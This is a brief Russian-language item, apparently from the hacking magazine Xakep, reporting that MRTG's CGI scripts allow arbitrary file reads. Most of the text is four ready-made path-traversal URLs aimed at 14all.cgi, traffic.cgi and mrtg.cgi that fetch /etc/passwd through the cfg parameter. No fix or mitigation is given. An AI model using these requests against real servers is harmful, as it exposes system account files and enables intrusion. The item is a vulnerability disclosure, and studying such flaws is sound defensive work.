Доступ к файлам через MRTG

Рекомендуем почитать:

Xakep #304. IP-камеры на пентестах

• Содержание выпуска
• Подписка на «Хакер»-60%

Multi Router Traffic Grapher (MRTG) отслеживает трафик и
составляет по нему отчеты. Система
позволяет обращаться к любому файлу в
системе:

http://www.example.com/cgi-bin/14all.cgi?cfg= ../../../../../../../../etc/passwd
http://www.example.com/cgi-bin/14all-1.1.cgi?cfg= ../../../../../../../../etc/passwd
http://www.example.com/cgi-bin/traffic.cgi?cfg= ../../../../../../../../etc/passwd
http://www.example.com/cgi-bin/mrtg.cgi?cfg= ../../../../../../../../etc/passwd